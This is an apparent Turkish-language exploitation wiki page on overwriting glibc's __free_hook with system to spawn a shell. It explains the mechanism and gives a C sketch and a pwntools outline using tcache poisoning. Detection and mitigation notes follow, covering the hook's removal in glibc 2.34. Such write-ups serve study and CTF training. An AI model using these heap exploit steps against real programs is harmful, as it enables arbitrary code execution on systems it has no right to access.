__free_hook overwrite¶
glibc'nin
__free_hookfunction pointer'ınısystemile overwrite et, sonra "/bin/sh" içeren bir chunk'ı free ederek bir shell başlat.
Mechanism¶
Note
__free_hook, libc'nin writable data section'ındaki global bir function
pointer'dır. Her çağrıda free(ptr) onu kontrol eder ve NULL değilse, gerçek free
yolunun yerine hook(ptr, caller)'ı çağırır — chunk'ın data pointer'ını ilk
argüman olarak geçirerek. Mangle edilmemiş, korumasız bir pointer'dır: ne
PTR_MANGLE ne de bir integrity check var. Ona kim yazabiliyorsa tek argümanlı bir
indirect call'u kontrol eder.
Hook ilk argümanı olarak free edilen pointer'ı aldığından, en temiz exploit
__free_hook = &system artı içeriği "/bin/sh\x00" ile başlayan bir chunk'tır. O
zaman free(p), system("/bin/sh")'e dönüşür. Bu, argümanı bir pointer değil bir size
olan __malloc_hook'tan daha kullanışlıdır.
Warning
__free_hook glibc 2.34'te kaldırıldı (2.32'de build uyarılarıyla deprecate
edildi). Modern sistemlerde sembol bir no-op uyumluluk stub'ıdır ve ona yazmak hiçbir
şey yapmaz. Bunu yalnızca glibc ≤ 2.33'e karşı kullan.
Walkthrough¶
Hook'a ulaşmak genelde &__free_hook ile overlap eden bir allocation döndüren bir
tcache/fastbin poison'dır, ardından &system yazılır:
// glibc <= 2.33
char *p = malloc(0x20);
strcpy(p, "/bin/sh"); // chunk data = command string
// ... tcache poisoning gives an allocation at &__free_hook ...
char *q = malloc(0x20); // q == &__free_hook
*(unsigned long *)q = libc_system;
free(p); // free -> __free_hook(p) == system("/bin/sh")
Bir tcache-poisoning write primitive kullanan pwntools taslağı:
libc.address = leak - libc.sym['puts'] # from an address leak
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
tcache_poison(target=free_hook) # next malloc returns &__free_hook
edit(idx, p64(system)) # __free_hook = system
edit(binsh_idx, b"/bin/sh\x00")
free(binsh_idx) # -> system("/bin/sh")
Beklenen çıktı: free() çalıştığında bir shell ($).
Detection¶
NULL olmayan ve meşru malloc-debug stub'larının dışını gösteren bir __free_hook,
glibc ≤ 2.33'te anormaldir. Hardened allocator'lar ve MALLOC_CHECK_ bunu yakalamak
için hiç tasarlanmadı — gerçek düzeltme 2.34'teki kaldırma oldu.
Mitigation¶
- glibc ≥ 2.34 hook'u tamamen kaldırdı. Debug hooking, preload edilebilir bir
libc_malloc_debug.so.0'a taşındı. - Daha eski libc'lerde bağımlılık libc içine bir arbitrary write'tır; ASLR + bir libc address leak ihtiyacı çıtayı yükseltir ama durdurmaz. Modern hedeflerde exit-handler abuse veya FSOP'a pivot yap.